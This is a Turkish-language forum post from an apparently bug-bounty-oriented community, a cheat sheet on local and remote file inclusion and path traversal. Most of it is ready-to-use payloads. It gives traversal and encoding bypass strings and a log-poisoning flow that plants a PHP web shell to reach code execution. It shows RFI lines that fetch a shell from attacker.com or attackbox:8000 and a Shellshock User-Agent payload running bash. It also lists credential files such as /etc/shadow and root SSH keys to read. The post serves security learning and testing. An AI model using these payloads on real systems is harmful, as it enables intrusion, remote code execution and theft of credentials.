Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

File Inclusion - LFI / RFI / Path Traversal

  • Konuyu Başlatan Konuyu Başlatan 1atakan1
  • Başlangıç tarihi Başlangıç tarihi

1atakan1

Moderator
Aday
Katılım
2 Ocak 2026
Mesajlar
19
Tepkime puanı
22
Puan
3

File Inclusion - LFI / RFI / Path Traversal​

LFI (Yerel Dosya Dahil Etme) ve RFI (Uzak Dosya Dahil Etme) zafiyetleri için PoC, bypass teknikleri ve kritik dosya yolları.

Temel Mantık​

Uygulama, file gibi bir parametreyi sunucu tarafında dosya dahil etmek (include/require) veya okumak için kullanıyorsa, kontrolsüz girdi LFI/RFI zafiyetine yol açar.
LFI: Sunucudaki yerel dosyalar okunur.
RFI: Uzaktaki bir sunucudan dosya çağrılır (PHP ise Uzaktan Kod Çalıştırma (RCE) riski taşır).
Path Traversal: ../ karakterleri ile dizin dışına çıkılır.


LFI - Hızlı Tespit​

Tespit: ?file=userCV.pdf → ?file=../../../../etc/passwd dene.
PoC örnek: GET /get.php?file=../../../../etc/passwd → /etc/passwd satırları dönüyorsa LFI.
Log poisoning: Webserver access/error loglarına payload yazıp ?file=/var/log/apache2/access.log ile RCE'ye çevirmeyi dene (ör. <?php system($_GET['cmd']); ?> payload).


RFI - Hızlı Tespit​

Tespit: ?file=http://attacker.com/shell.txt koy → sunucu uzaktaki dosyayı include edip çalıştırıyor mu?
Gereksinim: PHP için allow_url_include=On veya benzeri wrapper'ların aktif olması gerekir; yoksa RFI olmaz.
PoC: attacker hostunda basit PHP shell barındır, ?file=http://attackbox:8000/shell.txt ile dene.

Path Traversal & Bypass Teknikleri​

Basit: ../../../../etc/passwd veya /etc/passwd
Encoding: ..%2f..%2f..%2fetc/passwd veya double-encode: ..%252f..%252f..%252fetc/passwd
Null byte (eski PHP sürümlerinde): ../../../../etc/passwd%00
Weird forms: ....//....//etc/passwd, octal/decimal IP trickleri vb.
Null Byte + Uzantı Filtresi Bypass:/image?filename=../../../../etc/passwd%00.jpg
.jpg kısmı: Uygulama "sadece .jpg dosyalarını aç" diye bir filtre uyguluyor olabilir. Sona .jpg ekleyerek bu ilk kuralı (filtreyi) atlatırız.
%00 (Null Byte) kısmı: Bu, "metnin sonu" anlamına gelir. Sunucu, ...passwd%00.jpg dosyasını açmaya çalıştığında %00'ı görür ve "Dosya adı burada bitti" der. .jpg kısmını yok sayar ve .../etc/passwd dosyasını açmaya çalışır.
file:/etc/passwd%3F/
file:/etc%25Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/%3F/../passwd
file:$(br)/et$(u)c%252Fpass$(te)swd%3F/
file:$(br)/et$(u)c%252Fpass$(te)swd%3F/
User-Agent () { :; }; echo ; /bin/bash -c "cat /etc/passwd
" bu payload /etc/passwd dosyasının içeriğini görüntüleyebilir.


Önemli Wrapper & Teknikler​

PHP wrappers: php://input, data://text/plain, ile bazı senaryolarda exploit mümkün.
Log poisoning adımı: access log’a payload gönder (User-Agent veya GET param) → LFI ile log include edilirse RCE elde edilir.
File upload noktaları: upload sonrası path enjekte edilebilir; extension check bypass ile .php yüklenip include edilebilir.


Kritik Dosyalar​

Linux: /etc/passwd, /etc/shadow, /root/.ssh/id_rsa, /root/.bash_history, /proc/version, webserver logları (/var/log/apache2/access.log).
Windows: C:\boot.ini, C:\Windows\win.ini, IIS log dosyaları.

PoC Örnekleri​

Basit LFI: GET /get.php?file=../../../../etc/passwd
Log poisoning → RCE örnek akış: 1) User-Agent'a PHP kodu gönder (curl) 2) ?file=/var/log/apache2/access.log&amp;c=whoami ile include.
RFI PoC (server izinliyse): ?file=http://10.10.145.212:8000/cmd.txt
Flag örnekleri: curl ile POST istekleri veya null-byte traversal denemeleri kullanılabilir.
 
Geri
Üst